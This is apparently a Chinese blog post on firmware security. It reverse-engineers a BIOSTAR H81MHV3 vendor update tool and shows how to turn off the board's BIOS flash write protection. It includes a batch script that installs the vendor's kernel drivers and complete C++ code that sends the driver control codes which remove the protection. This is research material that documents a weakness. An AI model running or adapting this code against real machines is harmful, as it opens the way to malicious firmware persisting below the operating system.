UEFI固件安全 · 2022年11月25日 2

BIOSTART H81MHV3写保护绕过

BIOSTART官方工具直接/p /n /b选项Aptio4刷写,可以绕过BIOS flash protection,但工具是界面的,不太好用。

发现运行一次官方工具后,系统重启之前的写保护都被关了,自己直接用Aptio也可以刷。

那么说明可以在操作系统中关闭BIOS flash protection,调试跟踪官方工具的执行:

ollydbg调试,附加到BIOS_update进程,附加完成后重新运行进程开始调试。

断点设置:

初始化会创建并运行两个服务:BIOS_SMI_DRIVER和BSMEM

定位到hDevice: \\\.\BIOS_SMI_DRIVER

使用CreateFileA函数来获取BIOS_SMI_DRIVER的设备句柄,给后续发送控制码使用。

发送两次DeviceIotrol_1, 控制码为0x226048,完成初始化:

刷写前发送IoControCode: 0x222008,解除写保护,之后就可以调用Aptio进行刷写了:

服务创建

@echo off

echo %~dp0\BSMEM64_W10.sys

sc stop BSMEM

sc stop BIOS_SMI_DRIVER

sc delete BSMEM

sc delete BIOS_SMI_DRIVER

sc create BSMEM type=kernel binPath=%~dp0\BSMEM64_W10.sys

sc start BSMEM

sc create BIOS_SMI_DRIVER type=kernel binPath=%~dp0\SMIBIOS64_W10.sys

sc start BIOS_SMI_DRIVER

创建并运行BSMEM和BIOS_SMI_DRIVER两个服务

发送控制码

自己实现了获取BIOS_SMI_DRIVER的设备句柄,并向驱动设备发送0x226048控制码,输入buffer[3]=2。成功后再发送0x222008的控制码,即可解除写保护。

#define __STDC_WANT_LIB_EXT1__ 1

#include <iostream>

#include <windows.h>

#include <string.h>

using namespace std;

int Cotrol_1(HANDLE hDevice, DWORD lpOutBuffer) {

    BOOL Ret = FALSE;

    DWORD BytesReturned = 0;

    int InBuffer[4];

    InBuffer[0] = 0;

    InBuffer[1] = 0;

    InBuffer[2] = 0;

    InBuffer[3] = lpOutBuffer;

    Ret = DeviceIoControl(hDevice, 0x226048, InBuffer, 0x14, InBuffer, 0x14, &BytesReturned, 0);

    if (!Ret) {

        return 0;

    }

    return LOWORD(Ret);

}

int main()

{

    LPCSTR szDiskPos = "\\\\.\\BIOS_SMI_DRIVER";

    HANDLE hDevice = INVALID_HANDLE_VALUE;

    hDevice = CreateFileA(szDiskPos, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);

    Sleep(1000);

    BOOL Ret = FALSE;

    DWORD BytesReturned = 0;

    int InBuffer[4];

    int result;

    result = Cotrol_1(hDevice, 0x0);

    //printf("Cotrol_1 return: %d\n", result);

    if (result == 0x8086) {

        result = Cotrol_1(hDevice, 0x2);

        //printf("Cotrol_1 return2: %d\n", result);

    }

    Ret = DeviceIoControl(hDevice, 0x222008, &InBuffer, 4, 0, 0, &BytesReturned, 0);

    if (Ret)

    {

        cout << "success!" << endl;

    }

    else

    {

        cout << "failed!" << endl;

    }

    CloseHandle(hDevice);

    return 0;

}

成功解除写保护: